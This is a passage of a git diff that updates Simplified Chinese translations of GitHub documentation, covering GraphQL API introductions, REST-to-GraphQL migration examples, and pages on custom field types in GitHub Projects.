每个[对象](/graphql/reference/objects)都在“实现”下列出了其继承的接口。 -* Each [interface](/graphql/reference/interfaces) lists the objects _that inherit from it_ under **Implementations**. +* 每个[接口](/graphql/reference/interfaces)都在“实现”下列出了从其继承的对象。 -## Connection +## 连接 -Connections let you query related objects as part of the same call. With connections, you can use a single GraphQL call where you would have to use multiple calls to a REST API. For more information, see "[Migrating from REST to GraphQL](/graphql/guides/migrating-from-rest-to-graphql)." +连接可用于查询作为同一个调用的一部分的相关对象。 通过连接,可以使用单个 GraphQL 调用,其中,必须对 REST API 使用多个调用。 有关详细信息,请参阅“[从 REST 迁移到 GraphQL](/graphql/guides/migrating-from-rest-to-graphql)”。 -It's helpful to picture a graph: dots connected by lines. The dots are nodes, the lines are edges. A connection defines a relationship between nodes. +它有助于绘制图形:用线连接点。 点是节点,线是边缘。 连接可定义节点之间的关系。 -## Edge +## 边缘 -Edges represent connections between nodes. When you query a connection, you traverse its edges to get to its nodes. Every `edges` field has a `node` field and a `cursor` field. Cursors are used for [pagination](https://graphql.github.io/learn/pagination/). +边缘表示节点之间的连接。 查询连接时,可以遍历边缘获取节点。 每个 `edges` 字段都有一个 `node` 字段和 `cursor` 一个字段。 游标用于[分页](https://graphql.github.io/learn/pagination/)。 -## Node +## 节点 -_Node_ is a generic term for an object. You can look up a node directly, or you can access related nodes via a connection. If you specify a `node` that does not return a [scalar](/graphql/reference/scalars), you must include subfields until all fields return scalars. For information on accessing node IDs via the REST API and using them in GraphQL queries, see "[Using Global Node IDs](/graphql/guides/using-global-node-ids)." +Node 是对象的通用术语。 您可以直接查找节点,或通过连接访问相关节点。 如果指定不返回[标量](/graphql/reference/scalars)的 `node`,则必须包含子字段,直到所有字段都返回标量。 有关通过 REST API 访问节点 ID 并在 GraphQL 查询中使用它们的信息,请参阅“[使用全局节点 ID](/graphql/guides/using-global-node-ids)”。 -## Discovering the GraphQL API +## 了解 GraphQL API -GraphQL is [introspective](https://graphql.github.io/learn/introspection/). This means you can query a GraphQL schema for details about itself. +GraphQL 是[内省的](https://graphql.github.io/learn/introspection/)。 这意味着,您可以查询 GraphQL 架构,了解关于其自身的详细信息。 -* Query `__schema` to list all types defined in the schema and get details about each: +* 查询 `__schema` 以列出架构中定义的所有类型并获取关于每个类型的详细信息: ```graphql query { @@ -98,7 +102,7 @@ GraphQL is [introspective](https://graphql.github.io/learn/introspection/). This } ``` -* Query `__type` to get details about any type: +* 查询 `__type` 以获取有关任何类型的详细信息: ```graphql query { @@ -113,31 +117,31 @@ GraphQL is [introspective](https://graphql.github.io/learn/introspection/). This } ``` -* You can also run an _introspection query_ of the schema via a `GET` request: +* 还可以通过 `GET` 请求运行架构的内省查询: ```shell - $ curl -H "Authorization: bearer TOKEN" {% data variables.product.graphql_url_pre %} + $ curl -H "Authorization: bearer token" {% data variables.product.graphql_url_pre %} ``` {% note %} - **Note**: If you get the response `"message": "Bad credentials"` or `401 Unauthorized`, check that you are using a valid token. The GraphQL API only supports authentication using a {% data variables.product.pat_v1 %}. For more information, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)." + 注意:如果收到响应 `"message": "Bad credentials"` 或 `401 Unauthorized`,请检查你所使用的令牌是否有效。 有关详细信息,请参阅“[创建个人访问令牌](/github/authenticating-to-github/creating-a-personal-access-token)”。 {% endnote %} - The results are in JSON, so we recommend pretty-printing them for easier reading and searching. You can use a command-line tool like [jq](https://stedolan.github.io/jq/) or pipe the results into `python -m json.tool` for this purpose. + 结果出现在 JSON 中,因此,我们建议整洁打印,以便阅读和搜索。 为此,可使用 [jq](https://stedolan.github.io/jq/) 等命令行工具或将结果通过管道传输到 `python -m json.tool`。 - Alternatively, you can pass the `idl` media type to return the results in IDL format, which is a condensed version of the schema: + 或者,也可以传递 `idl` 媒体类型,以返回 IDL 格式的结果,这是架构的压缩版本: ```shell - $ curl -H "Authorization: bearer TOKEN" -H "Accept: application/vnd.github.v4.idl" \ + $ curl -H "Authorization: bearer token" -H "Accept: application/vnd.github.v4.idl" \ {% data variables.product.graphql_url_pre %} ``` {% note %} - **Note**: The introspection query is probably the only `GET` request you'll run in GraphQL. If you're passing a body, the GraphQL request method is `POST`, whether it's a query or a mutation. + 注意:自省查询可能是将在 GraphQL 中运行的唯一 `GET` 请求。 如果要传递正文,则无论是查询还是突变,GraphQL 请求方法都为 `POST`。 {% endnote %} - For more information about performing queries, see "[Forming calls with GraphQL](/graphql/guides/forming-calls-with-graphql)." + 有关执行查询的详细信息,请参阅“[使用 GraphQL 形成调用](/graphql/guides/forming-calls-with-graphql)”。 diff --git a/translations/zh-CN/content/graphql/guides/migrating-from-rest-to-graphql.md b/translations/zh-CN/content/graphql/guides/migrating-from-rest-to-graphql.md index c79e645a48..7d155ec4cc 100644 --- a/translations/zh-CN/content/graphql/guides/migrating-from-rest-to-graphql.md +++ b/translations/zh-CN/content/graphql/guides/migrating-from-rest-to-graphql.md @@ -1,6 +1,6 @@ --- -title: Migrating from REST to GraphQL -intro: 'Learn best practices and considerations for migrating from {% data variables.product.prodname_dotcom %}''s REST API to {% data variables.product.prodname_dotcom %}''s GraphQL API.' +title: 从 REST 迁移到 GraphQL +intro: '了解从 {% data variables.product.prodname_dotcom %} 的 REST API 迁移到 {% data variables.product.prodname_dotcom %} 的 GraphQL API 的最佳实践和注意事项。' redirect_from: - /v4/guides/migrating-from-rest - /graphql/guides/migrating-from-rest @@ -12,37 +12,40 @@ versions: topics: - API shortTitle: Migrate from REST to GraphQL +ms.openlocfilehash: dbafde83c8acac664b6a0f712927af82c646d397 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145066655' --- +## API 逻辑差异 -## Differences in API logic +从 REST 迁移到 GraphQL 代表了 API 逻辑的一次重大转变。 作为样式的 REST 与作为规范的 GraphQL 之间的差异使得很难—且通常不可取—以一对一方式将 REST API 调用替换为 GraphQL API 查询。 我们在下面提供了具体的迁移示例。 -{% data variables.product.company_short %} provides two APIs: a REST API and a GraphQL API. For more information about {% data variables.product.company_short %}'s APIs, see "[About {% data variables.product.company_short %}'s APIs](/developers/overview/about-githubs-apis)." +将代码从 [REST API](/rest) 迁移到 GraphQL API: -Migrating from REST to GraphQL represents a significant shift in API logic. The differences between REST as a style and GraphQL as a specification make it difficult—and often undesirable—to replace REST API calls with GraphQL API queries on a one-to-one basis. We've included specific examples of migration below. +- 查看 [GraphQL 规范](https://graphql.github.io/graphql-spec/June2018/) +- 查看 GitHub 的 [GraphQL 架构](/graphql/reference) +- 考虑您当前的现有代码如何与 GitHub REST API 交互 +- 使用[全局节点 ID](/graphql/guides/using-global-node-ids) 引用 API 版本之间的对象 -To migrate your code from the [REST API](/rest) to the GraphQL API: +GraphQL 的重要优势包括: -- Review the [GraphQL spec](https://graphql.github.io/graphql-spec/June2018/) -- Review GitHub's [GraphQL schema](/graphql/reference) -- Consider how any existing code you have currently interacts with the GitHub REST API -- Use [Global Node IDs](/graphql/guides/using-global-node-ids) to reference objects between API versions +- [仅获取你所需的数据](#example-getting-the-data-you-need-and-nothing-more) +- [嵌套字段](#example-nesting) +- [强类型化](#example-strong-typing) -Significant advantages of GraphQL include: +下面是每种优势的示例。 -- [Getting the data you need and nothing more](#example-getting-the-data-you-need-and-nothing-more) -- [Nested fields](#example-nesting) -- [Strong typing](#example-strong-typing) +## 示例:仅获取您所需的数据 -Here are examples of each. - -## Example: Getting the data you need and nothing more - -A single REST API call retrieves a list of your organization's members: +单个 REST API 可检索组织成员列表: ```shell curl -v {% data variables.product.api_url_pre %}/orgs/:org/members ``` -The REST payload contains excessive data if your goal is to retrieve only member names and links to avatars. However, a GraphQL query returns only what you specify: +如果您的目标是仅检索成员名称和头像链接,REST 有效负载中将包含多余数据。 但是,GraphQL 查询仅返回您指定的数据: ```graphql query { @@ -59,17 +62,17 @@ query { } ``` -Consider another example: retrieving a list of pull requests and checking if each one is mergeable. A call to the REST API retrieves a list of pull requests and their [summary representations](/rest#summary-representations): +考虑另一个示例:检索拉取请求列表并检查每个请求是否可合并。 对 REST API 的调用可检索拉取请求列表及其[摘要陈述](/rest#summary-representations): ```shell curl -v {% data variables.product.api_url_pre %}/repos/:owner/:repo/pulls ``` -Determining if a pull request is mergeable requires retrieving each pull request individually for its [detailed representation](/rest#detailed-representations) (a large payload) and checking whether its `mergeable` attribute is true or false: +确定拉取请求是否可合并需要分别检索每个拉取请求,查看其[详细陈述](/rest#detailed-representations)(大型有效负载),并检查它的 `mergeable` 属性是真还是假: ```shell curl -v {% data variables.product.api_url_pre %}/repos/:owner/:repo/pulls/:number ``` -With GraphQL, you could retrieve only the `number` and `mergeable` attributes for each pull request: +使用 GraphQL,可以仅检索每个拉取请求的 `number` 和 `mergeable` 特性: ```graphql query { @@ -86,9 +89,9 @@ query { } ``` -## Example: Nesting +## 示例:嵌套 -Querying with nested fields lets you replace multiple REST calls with fewer GraphQL queries. For example, retrieving a pull request along with its commits, non-review comments, and reviews using the **REST API** requires four separate calls: +通过嵌套字段查询,可将多个 REST 调用替换为更少的 GraphQL 查询。 例如,利用 REST AP 检索拉取请求及其提交、非评审注释和评审需要四个单独的调用: ```shell curl -v {% data variables.product.api_url_pre %}/repos/:owner/:repo/pulls/:number curl -v {% data variables.product.api_url_pre %}/repos/:owner/:repo/pulls/:number/commits @@ -96,7 +99,7 @@ curl -v {% data variables.product.api_url_pre %}/repos/:owner/:repo/issues/:numb curl -v {% data variables.product.api_url_pre %}/repos/:owner/:repo/pulls/:number/reviews ``` -Using the **GraphQL API**, you can retrieve the data with a single query using nested fields: +使用 GraphQL API,可以利用嵌套字段通过单个查询检索数据: ```graphql { @@ -134,13 +137,13 @@ Using the **GraphQL API**, you can retrieve the data with a single query using n } ``` -You can also extend the power of this query by [substituting a variable](/graphql/guides/forming-calls-with-graphql#working-with-variables) for the pull request number. +也可以通过[用变量替换](/graphql/guides/forming-calls-with-graphql#working-with-variables)拉取请求编号来扩大此查询的能力。 -## Example: Strong typing +## 示例:强类型化 -GraphQL schemas are strongly typed, making data handling safer. +GraphQL 架构属于强类型化架构,可使数据处理更加安全。 -Consider an example of adding a comment to an issue or pull request using a GraphQL [mutation](/graphql/reference/mutations), and mistakenly specifying an integer rather than a string for the value of [`clientMutationId`](/graphql/reference/mutations#addcomment): +考虑一个利用 GraphQL [突变](/graphql/reference/mutations)向问题或拉取请求添加注释,并错误地将 [`clientMutationId`](/graphql/reference/mutations#addcomment) 值指定为整数而非字符串的示例: ```graphql mutation { @@ -163,7 +166,7 @@ mutation { } ``` -Executing this query returns errors specifying the expected types for the operation: +执行此查询将返回错误,并指定此操作的预期类型: ```json { @@ -191,7 +194,7 @@ Executing this query returns errors specifying the expected types for the operat } ``` -Wrapping `1234` in quotes transforms the value from an integer into a string, the expected type: +用引号括住 `1234` 可将此值从整数转换为字符串,预期类型为: ```graphql mutation { diff --git a/translations/zh-CN/content/graphql/overview/about-the-graphql-api.md b/translations/zh-CN/content/graphql/overview/about-the-graphql-api.md index 9e664b44ce..6b873663a5 100644 --- a/translations/zh-CN/content/graphql/overview/about-the-graphql-api.md +++ b/translations/zh-CN/content/graphql/overview/about-the-graphql-api.md @@ -1,6 +1,6 @@ --- -title: About the GraphQL API -intro: 'The {% data variables.product.prodname_dotcom %} GraphQL API offers flexibility and the ability to define precisely the data you want to fetch.' +title: 关于 GraphQL API +intro: '{% data variables.product.prodname_dotcom %} GraphQL API 具有灵活性,而且能够准确定义您要获取的数据。' versions: fpt: '*' ghec: '*' @@ -8,52 +8,55 @@ versions: ghae: '*' topics: - API +ms.openlocfilehash: 9b447925609425157d5d965370c09fdd12d30b56 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145066002' --- +## 概述 -## Overview +下面是一些帮助您启动和运行 GraphQL API 的快速链接: -Here are some quick links to get you up and running with the GraphQL API: +* [身份验证](/graphql/guides/forming-calls-with-graphql#authenticating-with-graphql) +* [根终结点](/graphql/guides/forming-calls-with-graphql#the-graphql-endpoint) +* [架构内省](/graphql/guides/introduction-to-graphql#discovering-the-graphql-api) +* [速率限制](/graphql/overview/resource-limitations) +* [从 REST 迁移](/graphql/guides/migrating-from-rest-to-graphql) -* [Authentication](/graphql/guides/forming-calls-with-graphql#authenticating-with-graphql) -* [Root endpoint](/graphql/guides/forming-calls-with-graphql#the-graphql-endpoint) -* [Schema introspection](/graphql/guides/introduction-to-graphql#discovering-the-graphql-api) -* [Rate limits](/graphql/overview/resource-limitations) -* [Migrating from REST](/graphql/guides/migrating-from-rest-to-graphql) +## 关于 GraphQL -For more information about {% data variables.product.company_short %}'s APIs, see "[About {% data variables.product.company_short %}'s APIs](/developers/overview/about-githubs-apis)." +[GraphQL](https://graphql.github.io/) 数据查询语言是: -## About GraphQL +* **[规范](https://graphql.github.io/graphql-spec/June2018/)。** 该规范确定 API 服务器上的[架构](/graphql/guides/introduction-to-graphql#schema) 的有效性。 架构可确定客户端调用的有效性。 -The [GraphQL](https://graphql.github.io/) data query language is: +* **[强类型化](#about-the-graphql-schema-reference)。** 架构可定义 API 的类型系统和所有对象关系。 -* **A [specification](https://graphql.github.io/graphql-spec/June2018/).** The spec determines the validity of the [schema](/graphql/guides/introduction-to-graphql#schema) on the API server. The schema determines the validity of client calls. +* **[内省](/graphql/guides/introduction-to-graphql#discovering-the-graphql-api)。** 客户端可查询架构,了解关于架构的详细信息。 -* **[Strongly typed](#about-the-graphql-schema-reference).** The schema defines an API's type system and all object relationships. +* **[分层](/graphql/guides/forming-calls-with-graphql)。** GraphQL 调用的形式可反映它返回的 JSON 数据的形式。 [嵌套字段](/graphql/guides/migrating-from-rest-to-graphql#example-nesting)可用于仅查询和接收单个往返向行程中指定的数据。 -* **[Introspective](/graphql/guides/introduction-to-graphql#discovering-the-graphql-api).** A client can query the schema for details about the schema. +* **应用程序层。** GraphQL 不是存储模型或数据库查询语言。 “图”是指架构中定义的图形结构,其中,[节点](/graphql/guides/introduction-to-graphql#node)定义对象,[边缘](/graphql/guides/introduction-to-graphql#edge)定义对象之间的关系。 API 可以根据架构定义遍历和返回应用数据,与数据的存储方式无关。 -* **[Hierarchical](/graphql/guides/forming-calls-with-graphql).** The shape of a GraphQL call mirrors the shape of the JSON data it returns. [Nested fields](/graphql/guides/migrating-from-rest-to-graphql#example-nesting) let you query for and receive only the data you specify in a single round trip. +## GitHub 为什么使用 GraphQL -* **An application layer.** GraphQL is not a storage model or a database query language. The _graph_ refers to graph structures defined in the schema, where [nodes](/graphql/guides/introduction-to-graphql#node) define objects and [edges](/graphql/guides/introduction-to-graphql#edge) define relationships between objects. The API traverses and returns application data based on the schema definitions, independent of how the data is stored. +GitHub 选择 GraphQL,因为它可以为我们的集成商提供明显更高的灵活性。 与传统 REST API 终结点相比,精确定义所需数据且仅定义所需数据的能力是一个强大的优势——。 GraphQL 可用于将多个 REST 请求替换为单个调用,以获取指定的数据。 -## Why GitHub is using GraphQL +有关 GitHub 为什么投资 GraphQL 的详细信息,请参阅原始[公告博客文章](https://github.blog/2016-09-14-the-github-graphql-api/)。 -GitHub chose GraphQL because it offers significantly more flexibility for our integrators. The ability to define precisely the data you want—and _only_ the data you want—is a powerful advantage over traditional REST API endpoints. GraphQL lets you replace multiple REST requests with _a single call_ to fetch the data you specify. +## 关于 GraphQL 架构引用 -For more details about why GitHub invested in GraphQL, see the original [announcement blog post](https://github.blog/2016-09-14-the-github-graphql-api/). +边栏中的文档是从 {% data variables.product.prodname_dotcom %} GraphQL [架构](/graphql/guides/introduction-to-graphql#discovering-the-graphql-api)生成的。 所有调用均根据架构验证和执行。 使用这些文档查找您可以调用的数据: -## About the GraphQL schema reference +* 允许的操作:[查询](/graphql/reference/queries)和[突变](/graphql/reference/mutations)。 -The docs in the sidebar are generated from the {% data variables.product.prodname_dotcom %} GraphQL [schema](/graphql/guides/introduction-to-graphql#discovering-the-graphql-api). All calls are validated and executed against the schema. Use these docs to find out what data you can call: +* 架构定义的类型:[标量](/graphql/reference/scalars)、[对象](/graphql/reference/objects)、[枚举类型](/graphql/reference/enums)、[接口](/graphql/reference/interfaces)、[联合](/graphql/reference/unions)和[输入对象](/graphql/reference/input-objects)。 -* Allowed operations: [queries](/graphql/reference/queries) and [mutations](/graphql/reference/mutations). +可以通过 [Explorer 文档边栏](/graphql/guides/using-the-explorer#accessing-the-sidebar-docs)访问同样的内容。 请注意,您可能需要依靠文档和架构验证才能成功调用 GraphQL API。 -* Schema-defined types: [scalars](/graphql/reference/scalars), [objects](/graphql/reference/objects), [enums](/graphql/reference/enums), [interfaces](/graphql/reference/interfaces), [unions](/graphql/reference/unions), and [input objects](/graphql/reference/input-objects). +有关其他信息,如身份验证和速率限制详细信息,请查看[指南](/graphql/guides)。 -You can access this same content via the [Explorer Docs sidebar](/graphql/guides/using-the-explorer#accessing-the-sidebar-docs). Note that you may need to rely on both the docs and the schema validation to successfully call the GraphQL API. - -For other information, such as authentication and rate limit details, check out the [guides](/graphql/guides). - -## Requesting support +## 请求支持 {% data reusables.support.help_resources %} diff --git a/translations/zh-CN/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-a-view.md b/translations/zh-CN/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-a-view.md index 44b7eec90a..cdf647d9d9 100644 --- a/translations/zh-CN/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-a-view.md +++ b/translations/zh-CN/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-a-view.md @@ -5,16 +5,16 @@ miniTocMaxHeadingLevel: 3 versions: feature: projects-v2 redirect_from: - - /issues/trying-out-the-new-projects-experience/customizing-your-project-views +- /issues/trying-out-the-new-projects-experience/customizing-your-project-views type: tutorial topics: - - Projects +- Projects ms.openlocfilehash: 0a7d1076fcf1a9d7f20b65a5e0a75b7d8029f834 ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 ms.translationtype: HT ms.contentlocale: zh-CN ms.lasthandoff: 10/25/2022 -ms.locfileid: '148106771' +ms.locfileid: "148106771" --- ## 更改项目布局 diff --git a/translations/zh-CN/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/index.md b/translations/zh-CN/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/index.md index d2bda6de76..3134e52b60 100644 --- a/translations/zh-CN/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/index.md +++ b/translations/zh-CN/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/index.md @@ -8,7 +8,10 @@ topics: - Issues - Projects children: - - /customizing-a-view + - /changing-the-layout-of-a-view + - /customizing-the-table-layout + - /customizing-the-board-layout + - /customizing-the-roadmap-layout - /filtering-projects - /managing-your-views allowTitleToDifferFromFilename: true diff --git a/translations/zh-CN/content/issues/planning-and-tracking-with-projects/understanding-field-types/about-date-fields.md b/translations/zh-CN/content/issues/planning-and-tracking-with-projects/understanding-field-types/about-date-fields.md new file mode 100644 index 0000000000..8a7534c9e7 --- /dev/null +++ b/translations/zh-CN/content/issues/planning-and-tracking-with-projects/understanding-field-types/about-date-fields.md @@ -0,0 +1,28 @@ +--- +title: 关于日期字段 +shortTitle: About date fields +intro: 可以创建自定义日期字段,该字段可以通过键入日期或使用日历进行设置。 +miniTocMaxHeadingLevel: 3 +versions: + feature: projects-v2 +type: tutorial +topics: +- Projects +ms.openlocfilehash: 7c3bc45c036e209e0be682c3b13b9dafcba17885 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148108691" +--- +可以使用 `YYYY-MM-DD` 格式筛选日期值,例如:`date:2022-07-01`。 还可以使用运算符,例如 `>`、`>=`、`<`、`<=` 和 `..`。 例如,`date:>2022-07-01` 和 `date:2022-07-01..2022-07-31`。 还可以提供 `@today` 来表示筛选器中的当前日期。 有关详细信息,请参阅“[筛选项目](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/filtering-projects)”。 + +## 添加日期字段 + +{% data reusables.projects.new-field %} +1. 选择“日期” + ![显示“日期”选项的屏幕截图](/assets/images/help/projects-v2/new-field-date.png) +1. 单击“ **保存**”。 + ![显示“保存”按钮的屏幕截图](/assets/images/help/projects-v2/new-field-save.png) + +或者,通过按 {% data variables.projects.command-palette-shortcut %} 打开项目命令面板,然后开始键入“创建新字段”。 diff --git a/translations/zh-CN/content/issues/planning-and-tracking-with-projects/understanding-field-types/about-iteration-fields.md b/translations/zh-CN/content/issues/planning-and-tracking-with-projects/understanding-field-types/about-iteration-fields.md new file mode 100644 index 0000000000..936fe4d229 --- /dev/null +++ b/translations/zh-CN/content/issues/planning-and-tracking-with-projects/understanding-field-types/about-iteration-fields.md @@ -0,0 +1,81 @@ +--- +title: 关于迭代字段 +shortTitle: About iteration fields +intro: 可以创建迭代来计划即将到来的工作和组项。 +miniTocMaxHeadingLevel: 3 +versions: + feature: projects-v2 +redirect_from: +- /issues/trying-out-the-new-projects-experience/managing-iterations +type: tutorial +topics: +- Projects +ms.openlocfilehash: 93039327ab7075e0f79c9d5ae5d6652aa635a500 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148108766" +--- +可以创建一个迭代字段,将项与特定的重复时间块相关联。 迭代可以设置为任何时间长度,可以包括中断,并且可以进行单独编辑以修改名称和日期范围。 对于项目,可以按迭代分组,以可视化即将开始的工作的平衡度,使用筛选器专注于单个迭代,并按迭代进行排序。 + +可以通过指定迭代名称,或者为当前迭代指定 `@current`,为上一次迭代指定 `@previous`,为下一次迭代指定 `@next` 来筛选迭代。 也可以使用运算符,例如 `>`、`>=`、`<`、`<=` 和 `..`。 例如,`iteration:>"Iteration 4"` 和 `iteration:<@current`。 有关详细信息,请参阅“[筛选项目](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/filtering-projects)”。 + +首次创建迭代字段时,会自动创建三个迭代。 可在项目的设置页上添加其他迭代并进行其他更改。 + +![显示迭代字段设置的屏幕截图](/assets/images/help/issues/iterations-example.png) + +## 添加迭代字段 + +{% data reusables.projects.new-field %} +1. 选择“迭代” + ![显示迭代选项的屏幕截图](/assets/images/help/projects-v2/new-field-iteration.png) +2. (可选)如果不希望迭代从今天开始,请选择“开始于”旁边的日历下拉列表,然后选择新的开始日期。 + ![显示迭代开始日期的屏幕截图](/assets/images/help/projects-v2/iteration-field-starts.png) +3. 要更改每次迭代的持续时间,请键入一个新数字,然后选择下拉列表,再单击“天”或“周” 。 + ![显示迭代持续时间的屏幕截图](/assets/images/help/projects-v2/iteration-field-duration.png) +4. 单击“ **保存**”。 + ![显示“保存”按钮的屏幕截图](/assets/images/help/projects-v2/new-field-save-and-create.png) + +或者,通过按 {% data variables.projects.command-palette-shortcut %} 打开项目命令面板,然后开始键入“创建新字段”。 + +## 添加新迭代 + +{% data reusables.projects.project-settings %} +1. 单击要调整的迭代字段的名称。 + ![显示迭代字段的屏幕截图](/assets/images/help/projects-v2/select-iteration-field.png) +1. 要添加持续时间相同的新迭代,请单击“添加迭代”。 + ![“添加迭代”按钮的屏幕截图](/assets/images/help/projects-v2/add-iteration.png) +1. (可选)要自定义新迭代的持续时间和开始时间,请单击 {% octicon "triangle-down" aria-label="The triangle icon" %}“更多选项”,选择开始日期和持续时间,然后单击“添加” 。 + ![添加迭代选项窗体的屏幕截图](/assets/images/help/projects-v2/add-iteration-options.png) +1. 单击“保存更改”。 + ![“保存”按钮的屏幕截图](/assets/images/help/projects-v2/iteration-save.png) + +## 编辑迭代 + +可以在项目设置中编辑迭代。 还可以通过单击字段的表标题中的 {% octicon "triangle-down" aria-label="The triangle icon" %} 并单击“编辑值”来访问迭代字段的设置。 + +{% data reusables.projects.project-settings %} +1. 单击要调整的迭代字段的名称。 + ![显示迭代字段的屏幕截图](/assets/images/help/projects-v2/select-iteration-field.png) +1. 要更改迭代的名称,请单击该名称并开始键入。 + ![用于重命名迭代的标题字段的屏幕截图](/assets/images/help/projects-v2/iteration-rename.png) +1. 要更改迭代的日期或持续时间,请单击日期以打开日历。 单击起始日,然后单击结束日,再单击“应用”。 + ![显示迭代日期的屏幕截图](/assets/images/help/projects-v2/iteration-date.png) +1. (可选)要删除迭代,请单击 {% octicon "trash" aria-label="The trash icon" %}。 + ![“删除”按钮的屏幕截图](/assets/images/help/projects-v2/iteration-delete.png) +2. 单击“保存更改”。 + ![“保存”按钮的屏幕截图](/assets/images/help/projects-v2/iteration-save.png) + +## 插入中断 + +可以将在迭代中插入中断,以便在从计划的工作中抽出时间时进行通信。 新中断的默认持续时间为最近创建的迭代的长度。 + +{% data reusables.projects.project-settings %} +1. 单击要调整的迭代字段的名称。 + ![显示迭代字段的屏幕截图](/assets/images/help/projects-v2/select-iteration-field.png) +2. 在迭代上方和右侧的分隔线上,单击“插入中断”。 + ![显示“插入中断”按钮位置的屏幕截图](/assets/images/help/issues/iteration-insert-break.png) +3. (可选)要更改中断持续时间,请单击日期以打开日历。 单击起始日,然后单击结束日,再单击“应用”。 +4. 单击“保存更改”。 + ![“保存”按钮的屏幕截图](/assets/images/help/projects-v2/iteration-save.png) diff --git a/translations/zh-CN/content/issues/planning-and-tracking-with-projects/understanding-field-types/about-single-select-fields.md b/translations/zh-CN/content/issues/planning-and-tracking-with-projects/understanding-field-types/about-single-select-fields.md new file mode 100644 index 0000000000..2faabbd666 --- /dev/null +++ b/translations/zh-CN/content/issues/planning-and-tracking-with-projects/understanding-field-types/about-single-select-fields.md @@ -0,0 +1,45 @@ +--- +title: 关于单选字段 +shortTitle: About single select fields +intro: 可以使用可从下拉菜单中选择的已定义选项创建单选字段。 +miniTocMaxHeadingLevel: 3 +versions: + feature: projects-v2 +type: tutorial +topics: +- Projects +ms.openlocfilehash: 1dfb11e43de04bd55f544a9fb97a0a9346a22d96 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148108165" +--- +可以通过指定选项按单选字段进行筛选,例如:`fieldname:option`。 可以通过提供以逗号分隔的选项列表来筛选多个值,例如:`fieldname:option,option`。 有关详细信息,请参阅“[筛选项目](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/filtering-projects)”。 + +单选字段最多可以包含 50 个选项。 + +## 添加单选字段 + +{% data reusables.projects.new-field %} +1. 选择“单选” + ![显示“单选”选项的屏幕截图](/assets/images/help/projects-v2/new-field-single-select.png) +1. 在“选项”下方,键入第一个选项。 + ![显示“单选”选项的屏幕截图](/assets/images/help/projects-v2/single-select-create-with-options.png) + - 若要添加其他选项,请单击“添加选项”。 +1. 单击“ **保存**”。 + ![显示“保存”按钮的屏幕截图](/assets/images/help/projects-v2/new-field-save.png) + +或者,通过按 {% data variables.projects.command-palette-shortcut %} 打开项目命令面板,然后开始键入“创建新字段”。 + +## 编辑单选字段 + +{% data reusables.projects.project-settings %} +1. 单击要调整的单选字段的名称。 + ![显示单选字段的屏幕截图](/assets/images/help/projects-v2/select-single-select.png) +1. 编辑现有选项或单击“添加选项”。 + ![显示“单选”选项的屏幕截图](/assets/images/help/projects-v2/single-select-edit-options.png) +1. (可选)若要删除某个选项,请单击 {% octicon "x" aria-label="The x icon" %}。 + ![“删除”按钮的屏幕截图](/assets/images/help/projects-v2/single-select-delete.png) +1. 单击“保存”选项。 + ![显示“保存”按钮的屏幕截图](/assets/images/help/projects-v2/save-options.png) diff --git a/translations/zh-CN/content/issues/planning-and-tracking-with-projects/understanding-field-types/about-text-and-number-fields.md b/translations/zh-CN/content/issues/planning-and-tracking-with-projects/understanding-field-types/about-text-and-number-fields.md new file mode 100644 index 0000000000..50f8c49018 --- /dev/null +++ b/translations/zh-CN/content/issues/planning-and-tracking-with-projects/understanding-field-types/about-text-and-number-fields.md @@ -0,0 +1,42 @@ +--- +title: 关于文本和数字字段 +shortTitle: About text and number fields +intro: 可以将自定义文本和数字字段添加到你的项目。 +miniTocMaxHeadingLevel: 3 +versions: + feature: projects-v2 +type: tutorial +topics: +- Projects +ms.openlocfilehash: 2ef01bbd4ec13e37fdcd95e2a536e73c6da2304d +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148108168" +--- +可以使用文本字段在项目中包含备注或任何其他自由格式的文本。 + +文本字段可以用于筛选器,例如:`field:"exact text"`。 如果你在不指定字段的情况下筛选文本,也会使用文本字段和项标题。 + +数字字段也可以用于筛选器。 可以使用 `>`、`>=`、`<`、`<=` 和 `..` 范围查询按数字字段进行筛选。 例如 `field:5..15` 或 `field:>=20`。 有关详细信息,请参阅“[筛选项目](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/filtering-projects)”。 + +## 添加文本字段 + +{% data reusables.projects.new-field %} +1. 选择“文本” + ![显示“文本”选项的屏幕截图](/assets/images/help/projects-v2/new-field-text.png) +1. 单击“ **保存**”。 + ![显示“保存”按钮的屏幕截图](/assets/images/help/projects-v2/new-field-save.png) + +或者,通过按 {% data variables.projects.command-palette-shortcut %} 打开项目命令面板,然后开始键入“创建新字段”。 + +## 添加数字字段 + +{% data reusables.projects.new-field %} +1. 选择“数字” + ![显示“数字”选项的屏幕截图](/assets/images/help/projects-v2/new-field-number.png) +1. 单击“ **保存**”。 